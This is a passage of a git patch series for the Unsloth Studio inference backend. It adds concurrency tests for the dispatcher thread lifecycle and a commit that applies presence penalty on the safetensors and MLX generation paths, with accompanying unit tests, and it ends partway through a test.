@@ -1428,3 +1431,192 @@ def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatc
     assert o.active_model_name is None, "must not publish a cancelled model's active name"
     assert o.models == {}, "must not publish a cancelled model's mirror"
     assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# Concurrent compare-mode requests must not each spawn a dispatcher. Compare mode
+# (_generate_dispatched) deliberately bypasses _gen_lock, so two requests can reach
+# _start_dispatcher at once. Without _dispatcher_lifecycle_lock the check-then-spawn
+# races: both observe no live dispatcher and each start one. The extra dispatcher is
+# orphaned (self._dispatcher_thread tracks only the last) and later consumes the
+# "unloaded" reply off the shared resp_queue before unload_model's _wait_response,
+# hanging the unload on its 300s timeout. The lifecycle lock must serialize the
+# check-then-spawn so exactly one dispatcher thread is ever created.
+# ----------------------------------------------------------------------------
+
+
+def test_concurrent_start_dispatcher_spawns_exactly_one():
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # real queue so the dispatcher loop blocks and stays alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+
+    n = 32
+    # A barrier aligns every thread on the check-then-spawn window: without the lifecycle
+    # lock several would clear the "is a dispatcher alive?" check together and each spawn one.
+    barrier = threading.Barrier(n)
+    results: list = []
+    results_lock = threading.Lock()
+
+    def racer():
+        barrier.wait()
+        started = o._start_dispatcher()
+        with results_lock:
+            results.append(started)
+
+    threads = [threading.Thread(target = racer, name = f"racer-{i}") for i in range(n)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+
+    try:
+        # _start_dispatcher returns True only for the caller that actually spawned a thread.
+        # Exactly one caller may win; every other must observe the dispatcher alive and bail.
+        assert results.count(True) == 1, f"expected exactly one spawn, got {results.count(True)}"
+        assert results.count(False) == n - 1
+        # And exactly one live dispatcher thread exists -- no orphan racing resp_queue.
+        live = [
+            t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+        ]
+        assert len(live) == 1, f"expected one live dispatcher, found {len(live)}"
+        assert o._dispatcher_thread is live[0]
+    finally:
+        o._stop_dispatcher()
+
+    # Stop joins and clears it; no dispatcher thread must survive.
+    assert o._dispatcher_thread is None
+    remaining = [
+        t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+    ]
+    assert remaining == [], "dispatcher must be stopped and joined"
+
+
+# ----------------------------------------------------------------------------
+# A compare request whose _start_dispatcher is queued behind an unload's
+# _stop_dispatcher must NOT spawn a fresh dispatcher. The idle-dispatcher stop
+# and the queued start both serialize on _dispatcher_lifecycle_lock; if the
+# queued start spawned a new dispatcher after the stop, it would become the
+# resp_queue reader and consume unload_model's "unloaded" reply (unroutable, so
+# dropped) before _wait_response saw it -- hanging the unload on its 300s
+# timeout. unload_model sets _unload_pending under the SAME lifecycle lock ahead
+# of the stop, so _start_dispatcher observes it and refuses.
+# ----------------------------------------------------------------------------
+
+
+def test_start_dispatcher_refuses_while_unload_pending():
+    # Direct unit guard: with an unload in progress (_unload_pending set under the
+    # lifecycle lock by unload_model), _start_dispatcher must refuse and spawn nothing,
+    # even though no dispatcher is currently running.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = True
+
+    started = o._start_dispatcher()
+
+    assert started is False, "must not start a dispatcher while an unload is pending"
+    assert o._dispatcher_thread is None, "no dispatcher thread may be created"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no dispatcher may exist to consume the unloaded reply"
+
+
+def test_start_dispatcher_resumes_after_unload_clears():
+    # Guard the other direction: once the unload finishes and clears _unload_pending, a
+    # later compare request must be able to start the dispatcher again (the gate must not
+    # wedge). Proves the refusal above is scoped to the unload, not permanent.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    try:
+        assert (
+            o._start_dispatcher() is True
+        ), "a fresh dispatcher must start once no unload is pending"
+        assert o._dispatcher_thread is not None and o._dispatcher_thread.is_alive()
+    finally:
+        o._stop_dispatcher()
+
+    assert o._dispatcher_thread is None
+
+
+def test_queued_start_behind_unload_stop_spawns_no_dispatcher():
+    # Codex's exact ordering, forced deterministically: an unload holds
+    # _dispatcher_lifecycle_lock across its _stop_dispatcher (the idle dispatcher's join
+    # is gated by an event), while a compare request's _start_dispatcher is queued behind
+    # it on the same lock. When the stop releases the lock the queued start must observe
+    # _unload_pending (set under the lock ahead of the stop) and refuse: no fresh
+    # dispatcher may be left running to steal the "unloaded" reply.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    start_queued = threading.Event()  # release the stop's join once the start is queued behind it
+    join_may_finish = threading.Event()
+
+    class _IdleDispatcher:
+        # Stand-in for the idle compare-mode dispatcher the unload stops. Its join blocks
+        # until we confirm the compare _start_dispatcher is queued behind the stop, so the
+        # stop provably holds _dispatcher_lifecycle_lock across that window.
+        def is_alive(self):
+            return True
+
+        def join(self, timeout = None):
+            assert start_queued.wait(timeout = 5), "compare start must queue behind the stop"
+            assert join_may_finish.wait(timeout = 5)
+
+    o._dispatcher_thread = _IdleDispatcher()
+
+    def unload_side():
+        # unload_model's sequence: set _unload_pending under the lifecycle lock, then stop
+        # the idle dispatcher (also under the lock, via _wait_dispatcher_idle).
+        with o._dispatcher_lifecycle_lock:
+            o._unload_pending = True
+        o._stop_dispatcher()
+
+    started_result = {}
+
+    def compare_side():
+        started_result["v"] = o._start_dispatcher()
+
+    u = threading.Thread(target = unload_side, name = "unload-side")
+    u.start()
+    # Let the unload set _unload_pending, enter _stop_dispatcher, and block in the gated join
+    # while holding the lifecycle lock.
+    time.sleep(0.2)
+
+    c = threading.Thread(target = compare_side, name = "compare-side")
+    c.start()
+    # Let the compare _start_dispatcher block on the lifecycle lock (queued behind the stop).
+    time.sleep(0.2)
+
+    start_queued.set()  # the start is now queued behind the stop
+    join_may_finish.set()  # let the stop's join complete and release the lock
+
+    u.join(timeout = 5)
+    c.join(timeout = 5)
+
+    assert started_result.get("v") is False, "the queued start must refuse while unloading"
+    assert o._dispatcher_thread is None, "the stop cleared it and the queued start spawned nothing"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no fresh dispatcher may be left to consume the unloaded reply"

From 5608081c35d120343b2e196a292bc13c9a3a96af Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 22:24:47 -0700
Subject: [PATCH 226/306] Studio: apply presence_penalty on the safetensors and
 MLX inference paths (#6923)

* Studio: apply presence_penalty on the safetensors and MLX inference paths

The safetensors and MLX generate paths resolved the inference config and
then dropped presence_penalty before generation, so the same model applied
the configured value under GGUF and 0 under safetensors/MLX. Thread the
already-resolved presence_penalty through the orchestrator command, worker
gen_kwargs, and the safetensors/MLX generate calls, and apply it with a
small logits processor (subtract once per distinct completion token,
prompt excluded, presence not frequency, zero is a no-op, negatives raise).

Backwards compatible: presence_penalty defaults to 0.0 (byte-identical
output when unset) and the GGUF path is unchanged. Also forward min_p on
the legacy /generate/stream route and add the missing min_p field to
GenerateRequest.

* Studio: bound presence_penalty generated ids to valid vocab range on both paths

The presence-penalty logits processors index by generated token ids. The
torch path filtered only the upper bound (seen < vocab_size), so a negative
id would silently wrap to the wrong row; the MLX path had no bound at all,
and MLX out-of-bounds indexing is documented undefined behavior (crash or
memory corruption on Apple Silicon), unlike torch's harmless negative wrap.

Bound generated ids to [0, vocab) consistently on both paths:
- torch: seen[(seen >= 0) & (seen < vocab_size)] (zero-regression safety net;
  real completion tokens are always in range).
- MLX: route out-of-range/negative ids to a discarded scratch slot via
  mx.where and a (vocab + 1)-wide scatter-assign mask, then subtract. MLX has
  no boolean-mask filtering (data-dependent output shape), so this keeps a
  fixed shape, stays on-device, and preserves once-per-distinct-token
  semantics without any torch/numpy dependency.

Add torch tests for out-of-range and negative ids (only in-range distinct
ids penalized, stray ids ignored, no wrong-index wrap) and a bound-documenting
MLX test that runs on the arm64 macOS CI.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/inference.py    |  26 ++
 .../backend/core/inference/mlx_inference.py   |  80 +++++-
 studio/backend/core/inference/orchestrator.py |  12 +
 .../core/inference/presence_penalty.py        |  49 ++++
 studio/backend/core/inference/worker.py       |   1 +
 studio/backend/models/inference.py            |   1 +
 studio/backend/routes/inference.py            |   4 +
 studio/backend/tests/test_presence_penalty.py | 252 ++++++++++++++++++
 8 files changed, 419 insertions(+), 6 deletions(-)
 create mode 100644 studio/backend/core/inference/presence_penalty.py
 create mode 100644 studio/backend/tests/test_presence_penalty.py

diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 064be30c06..167706f701 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -31,6 +31,7 @@ from core.inference.chat_eos import (
     chat_eos_repair,
     resolve_chat_turn_end_eos_ids_using,
 )
+from core.inference.presence_penalty import _make_presence_penalty_processor
 from io import StringIO
 import structlog
 from loggers import get_logger
@@ -832,6 +833,7 @@ class InferenceBackend:
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ):
         """Run an agentic tool loop on top of ``generate_chat_response``.
 
@@ -865,6 +867,7 @@ class InferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
 
         initial = list(messages)
@@ -901,12 +904,14 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response for text or vision models (lock held by background thread).
 
         ``tools`` / ``enable_thinking`` / ``reasoning_effort`` / ``preserve_thinking``
         are forwarded into ``apply_chat_template`` so templates that understand them
         (Qwen3, Llama 3.1+, gpt-oss harmony) advertise tool schemas / reasoning controls.
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_chat_response_inner(
             messages = messages,
@@ -923,6 +928,7 @@ class InferenceBackend:
             enable_thinking = enable_thinking,
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
+            presence_penalty = presence_penalty,
         )
 
     def _generate_chat_response_inner(
@@ -942,6 +948,7 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic, called by generate_chat_response and
         generate_with_adapter_control.
@@ -981,6 +988,7 @@ class InferenceBackend:
                     max_new_tokens,
                     repetition_penalty,
                     cancel_event = cancel_event,
+                    presence_penalty = presence_penalty,
                 )
                 return
             else:
@@ -1093,6 +1101,7 @@ class InferenceBackend:
             repetition_penalty,
             cancel_event = cancel_event,
             _adapter_state = _adapter_state,
+            presence_penalty = presence_penalty,
         )
 
     def _generate_vision_response(
@@ -1107,6 +1116,7 @@ class InferenceBackend:
         max_new_tokens,
         repetition_penalty,
         cancel_event = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Handle vision model generation with true token-by-token streaming."""
         model_info = self.models[self.active_model_name]
@@ -1196,6 +1206,14 @@ class InferenceBackend:
                 top_k = top_k,
                 min_p = min_p,
             )
+            # Presence penalty (GGUF parity) for VLM chat.
+            _vision_input_ids = inputs.get("input_ids") if hasattr(inputs, "get") else None
+            if _vision_input_ids is not None:
+                _pp = _make_presence_penalty_processor(
+                    presence_penalty, int(_vision_input_ids.shape[1])
+                )
+                if _pp is not None:
+                    generation_kwargs["logits_processor"] = _pp
 
             err: dict[str, str] = {}
 
@@ -1424,11 +1442,13 @@ class InferenceBackend:
         repetition_penalty: float = 1.0,
         cancel_event = None,
         _adapter_state = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate a streaming text response (text models only).
 
         _adapter_state: if not None, the background thread toggles adapters
         before model.generate(), under _generation_lock.
+        ``presence_penalty`` matches the GGUF sampling path via a logits processor (0 disables it).
         """
         if not self.active_model_name:
             yield "Error: No active model"
@@ -1489,6 +1509,12 @@ class InferenceBackend:
                 if tokenizer.pad_token_id is None
                 else tokenizer.pad_token_id,
             )
+            # Presence penalty (GGUF parity); prompt_len excludes prompt tokens.
+            _pp = _make_presence_penalty_processor(
+                presence_penalty, int(inputs["input_ids"].shape[1])
+            )
+            if _pp is not None:
+                generation_kwargs["logits_processor"] = _pp
             if cancel_event is not None:
                 from transformers.generation.stopping_criteria import (
                     StoppingCriteria,
diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py
index 45f46fef2f..62d268e15f 100644
--- a/studio/backend/core/inference/mlx_inference.py
+++ b/studio/backend/core/inference/mlx_inference.py
@@ -41,6 +41,50 @@ def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
     }
 
 
+def _make_mlx_presence_penalty_processor(penalty: float):
+    """Presence penalty as an mlx_lm/mlx_vlm logits processor, matching the safetensors path.
+
+    generate_step calls processors as ``fn(tokens, logits)`` with ``tokens`` the
+    full running sequence; the first call is prompt-only, so latch that length
+    and penalize only after it.
+    """
+    state = {"prompt_len": None}
+
+    def _processor(tokens, logits):
+        if state["prompt_len"] is None:
+            # First call = prompt only; latch its length.
+            state["prompt_len"] = int(tokens.shape[0])
+            return logits
+        generated = tokens[state["prompt_len"] :]
+        if generated.size == 0:
+            return logits
+        import mlx.core as mx
+
+        vocab = logits.shape[-1]
+        # Bound generated ids to the valid range [0, vocab) before they index
+        # logits. MLX does no bounds checking and out-of-bounds indexing is
+        # documented undefined behavior (crash / memory corruption), unlike the
+        # torch path's harmless negative wrap -- so this bound is load-bearing
+        # here and matches the torch filter seen[(seen >= 0) & (seen < vocab)].
+        # MLX has no boolean-mask filtering (data-dependent output shape is
+        # unsupported), so instead of compacting the id list we route every
+        # out-of-range or negative id to a scratch slot at index ``vocab`` that
+        # is dropped before the subtract. That scratch slot can never collide
+        # with a real token, so real ids (including id 0) are penalized exactly
+        # once and stray ids are ignored.
+        valid = (generated >= 0) & (generated < vocab)
+        safe = mx.where(valid, generated, vocab).astype(mx.int32)
+        # Scatter-assign a scalar penalty into a (vocab + 1)-wide mask: duplicate
+        # ids are idempotent, so presence applies once per distinct token; the
+        # scratch column is discarded and the full-width subtract stays on-device.
+        mask = mx.zeros((vocab + 1,), dtype = logits.dtype)
+        mask[safe] = penalty
+        logits = logits - mask[:vocab]
+        return logits
+
+    return _processor
+
+
 class MLXInferenceBackend:
     def __init__(self):
         self.models = {}
@@ -282,6 +326,7 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ) -> Generator[str, None, None]:
         if self._model is None:
             raise RuntimeError("No model loaded")
@@ -329,6 +374,7 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
         else:
             yield from self._generate_text(
@@ -344,6 +390,7 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
 
     def _generate_text(
@@ -361,6 +408,7 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ):
         from mlx_lm import stream_generate
         from mlx_lm.sample_utils import make_sampler, make_logits_processors
@@ -407,15 +455,21 @@ class MLXInferenceBackend:
             min_p = float(min_p or 0.0),
             min_tokens_to_keep = 1,
         )
-        # Only build a logits processor for a non-trivial repetition penalty.
-        logits_processors = None
+        # Repetition and/or presence penalty processors (parity with the GGUF/safetensors paths).
+        logits_processors = []
         if repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
         ):
-            logits_processors = make_logits_processors(
-                repetition_penalty = float(repetition_penalty),
+            logits_processors.extend(
+                make_logits_processors(
+                    repetition_penalty = float(repetition_penalty),
+                )
             )
+        if presence_penalty:
+            logits_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+        if not logits_processors:
+            logits_processors = None
 
         token_ids = []
         logger.info(
@@ -481,6 +535,7 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ):
         from mlx_vlm import stream_generate as vlm_stream
 
@@ -528,10 +583,23 @@ class MLXInferenceBackend:
             top_k = int(top_k or 0),
             min_p = float(min_p or 0.0),
         )
-        if repetition_penalty is not None and float(repetition_penalty) not in (
+        _rep_active = repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
-        ):
+        )
+        if presence_penalty:
+            # Presence needs a custom processor: pass the full list (repetition +
+            # presence) instead of the repetition_penalty shortcut so both apply once.
+            from mlx_lm.sample_utils import make_logits_processors
+
+            _vlm_processors = []
+            if _rep_active:
+                _vlm_processors.extend(
+                    make_logits_processors(repetition_penalty = float(repetition_penalty))
+                )
+            _vlm_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+            vlm_kwargs["logits_processors"] = _vlm_processors
+        elif _rep_active:
             vlm_kwargs["repetition_penalty"] = float(repetition_penalty)
 
         with self._generation_lock:
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 394ff97eac..19d2230278 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -428,6 +428,7 @@ class InferenceOrchestrator:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> dict:
         """Build the 'generate' command shared by the locked and dispatched paths."""
         cmd = {
@@ -442,6 +443,7 @@ class InferenceOrchestrator:
             "min_p": min_p,
             "max_new_tokens": max_new_tokens,
             "repetition_penalty": repetition_penalty,
+            "presence_penalty": presence_penalty,
         }
         # Only forward template kwargs the caller set, for older worker compat.
         if use_adapter is not None:
@@ -631,6 +633,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Dispatched generation — sends command without holding _gen_lock.
 
@@ -684,6 +687,7 @@ class InferenceOrchestrator:
             min_p = min_p,
             max_new_tokens = max_new_tokens,
             repetition_penalty = repetition_penalty,
+            presence_penalty = presence_penalty,
             use_adapter = use_adapter,
             tools = tools,
             enable_thinking = enable_thinking,
@@ -1166,6 +1170,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response, streaming tokens from subprocess.
 
@@ -1175,6 +1180,8 @@ class InferenceOrchestrator:
 
         ``stats_holder``: caller-owned dict; on gen_done its "stats" key gets
         the worker's usage/timings. Request-scoped to avoid cross-stream reads.
+
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_inner(
             messages = messages,
@@ -1193,6 +1200,7 @@ class InferenceOrchestrator:
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
             stats_holder = stats_holder,
+            presence_penalty = presence_penalty,
         )
 
     def generate_chat_completion_with_tools(
@@ -1220,6 +1228,7 @@ class InferenceOrchestrator:
         bypass_permissions: bool = False,
         use_adapter: Optional[Union[bool, str]] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
         **_unused,
     ):
         """Run the safetensors agentic tool loop in the parent process,
@@ -1255,6 +1264,7 @@ class InferenceOrchestrator:
                 preserve_thinking = preserve_thinking,
                 # last turn wins, like the GGUF tool loop
                 stats_holder = stats_holder,
+                presence_penalty = presence_penalty,
             )
             if use_adapter is not None:
                 yield from self.generate_with_adapter_control(
@@ -1322,6 +1332,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic — sends command to subprocess, yields tokens.
 
@@ -1365,6 +1376,7 @@ class InferenceOrchestrator:
                 min_p = min_p,
                 max_new_tokens = max_new_tokens,
                 repetition_penalty = repetition_penalty,
+                presence_penalty = presence_penalty,
                 use_adapter = use_adapter,
                 tools = tools,
                 enable_thinking = enable_thinking,
diff --git a/studio/backend/core/inference/presence_penalty.py b/studio/backend/core/inference/presence_penalty.py
new file mode 100644
index 0000000000..c73c513887
--- /dev/null
+++ b/studio/backend/core/inference/presence_penalty.py
@@ -0,0 +1,49 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Presence-penalty logits helpers for the safetensors/MLX inference paths.
+
+Kept in a dependency-light leaf module (torch + transformers only, no unsloth /
+peft) so the pure logic can be imported and unit-tested without pulling in the
+full inference backend. ``core.inference.inference`` re-exports these for the
+runtime generate paths.
+"""
+
+import torch
+
+
+def apply_presence_penalty(input_ids, scores, penalty: float, prompt_len: int):
+    """OpenAI/llama.cpp presence penalty: subtract ``penalty`` once per distinct
+    completion token (positions >= prompt_len; prompt excluded, multiplicity
+    ignored, negatives raise). In place; zero is a no-op."""
+    if not penalty:
+        return scores
+    vocab_size = scores.shape[-1]
+    for b in range(input_ids.shape[0]):
+        generated = input_ids[b, prompt_len:]
+        if generated.numel() == 0:
+            continue
+        seen = torch.unique(generated)
+        # Bound generated ids to the valid range [0, vocab_size). Real completion
+        # tokens are always in range, so this is a zero-regression safety net that
+        # drops any stray out-of-range or negative id before indexing (mirrors the
+        # MLX path's bound). Filtering both ends avoids indexing scores with a
+        # negative id (which would silently wrap to the wrong row).
+        seen = seen[(seen >= 0) & (seen < vocab_size)]
+        if seen.numel():
+            scores[b, seen] = scores[b, seen] - penalty
+    return scores
+
+
+def _make_presence_penalty_processor(penalty: float, prompt_len: int):
+    """``LogitsProcessorList`` for ``apply_presence_penalty``; ``None`` at zero penalty (generate call stays byte-identical)."""
+    if not penalty:
+        return None
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _PresencePenaltyLogitsProcessor(LogitsProcessor):
+        @torch.no_grad()
+        def __call__(self, input_ids, scores):
+            return apply_presence_penalty(input_ids, scores, penalty, prompt_len)
+
+    return LogitsProcessorList([_PresencePenaltyLogitsProcessor()])
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 615c5c5a0d..d4b102e422 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -457,6 +457,7 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
             "min_p": cmd.get("min_p", 0.0),
             "max_new_tokens": cmd.get("max_new_tokens", 256),
             "repetition_penalty": cmd.get("repetition_penalty", 1.0),
+            "presence_penalty": cmd.get("presence_penalty", 0.0),
             "cancel_event": cancel_event,
         }
 
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 1e7770a7f8..0f27b695fe 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -177,6 +177,7 @@ class GenerateRequest(BaseModel):
     temperature: float = Field(0.6, ge = 0.0, le = 2.0, description = "Sampling temperature")
     top_p: float = Field(0.95, ge = 0.0, le = 1.0, description = "Top-p sampling")
     top_k: int = Field(20, ge = -1, le = 100, description = "Top-k sampling")
+    min_p: float = Field(0.0, ge = 0.0, le = 1.0, description = "Min-p sampling")
     max_new_tokens: int = Field(2048, ge = 1, le = 4096, description = "Maximum tokens to generate")
     repetition_penalty: float = Field(1.0, ge = 1.0, le = 2.0, description = "Repetition penalty")
     presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty")
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 3f6f6a2a78..5332037e0d 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -4353,8 +4353,10 @@ async def generate_stream(
                 temperature = request.temperature,
                 top_p = request.top_p,
                 top_k = request.top_k,
+                min_p = request.min_p,
                 max_new_tokens = request.max_new_tokens,
                 repetition_penalty = request.repetition_penalty,
+                presence_penalty = request.presence_penalty,
                 cancel_event = cancel_event,
             )
             _DONE = object()
@@ -6995,6 +6997,7 @@ async def openai_chat_completions(
                 min_p = payload.min_p,
                 max_tokens = effective_max_tokens,
                 repetition_penalty = payload.repetition_penalty,
+                presence_penalty = payload.presence_penalty,
                 cancel_event = cancel_event,
                 enable_thinking = payload.enable_thinking,
                 reasoning_effort = payload.reasoning_effort,
@@ -7240,6 +7243,7 @@ async def openai_chat_completions(
         min_p = payload.min_p,
         max_new_tokens = effective_max_tokens or 2048,
         repetition_penalty = payload.repetition_penalty,
+        presence_penalty = payload.presence_penalty,
     )
     # Forward reasoning kwargs; the worker/template wrapper peels off any the
     # template doesn't accept.
diff --git a/studio/backend/tests/test_presence_penalty.py b/studio/backend/tests/test_presence_penalty.py
new file mode 100644
index 0000000000..030ddb6011
--- /dev/null
+++ b/studio/backend/tests/test_presence_penalty.py
@@ -0,0 +1,252 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""Presence-penalty parity between the GGUF path and the safetensors/MLX paths.
+
+The safetensors path historically dropped ``presence_penalty``, so the SAME model
+looked worse served as safetensors. These tests pin the processor semantics
+(subtract once per distinct completion token, prompt excluded, presence not
+frequency, zero a no-op, negatives raise) plus a param-propagation regression
+over route -> orchestrator cmd -> worker gen_kwargs.
+"""
+
+import threading
+
+import pytest
+import torch
+
+from core.inference.presence_penalty import (
+    apply_presence_penalty,
+    _make_presence_penalty_processor,
+)
+
+
+def test_seen_token_gets_exactly_minus_penalty_unseen_unchanged():
+    input_ids = torch.tensor([[0, 1, 3]])  # prompt [0, 1], completion [3]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 2)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+    for tok in (0, 1, 2, 4):
+        assert out[0, tok].item() == pytest.approx(0.0)
+
+
+def test_multiplicity_ignored_presence_not_frequency():
+    # Token 3 emitted three times -> still a single -penalty (presence, not freq).
+    input_ids = torch.tensor([[0, 3, 3, 3]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 2.0, prompt_len = 1)
+    assert out[0, 3].item() == pytest.approx(-2.0)
+
+
+def test_negative_penalty_raises_seen_logits():
+    input_ids = torch.tensor([[0, 2]])
+    scores = torch.zeros(1, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = -0.5, prompt_len = 1)
+    assert out[0, 2].item() == pytest.approx(0.5)
+
+
+def test_prompt_tokens_excluded():
+    # Token 7 is prompt-only (untouched); token 4 in the completion is penalized.
+    input_ids = torch.tensor([[7, 4, 4]])
+    scores = torch.zeros(1, 8)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 7].item() == pytest.approx(0.0)
+    assert out[0, 4].item() == pytest.approx(-1.0)
+
+
+def test_batch_rows_isolated():
+    input_ids = torch.tensor([[0, 1], [0, 2]])  # row completions [1] and [2]
+    scores = torch.zeros(2, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 1].item() == pytest.approx(-1.0)
+    assert out[0, 2].item() == pytest.approx(0.0)
+    assert out[1, 2].item() == pytest.approx(-1.0)
+    assert out[1, 1].item() == pytest.approx(0.0)
+
+
+def test_zero_penalty_is_noop():
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 0.0, prompt_len = 1)
+    assert torch.equal(out, original)
+
+
+def test_empty_completion_is_noop():
+    # prompt_len covers the whole sequence -> nothing generated yet.
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 3)
+    assert torch.equal(out, original)
+
+
+def test_out_of_vocab_id_ignored():
+    # A generated id >= vocab_size (defensive) must not index out of bounds.
+    input_ids = torch.tensor([[0, 9]])
+    scores = torch.zeros(1, 5)  # vocab 5, token 9 is out of range
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_negative_generated_id_ignored():
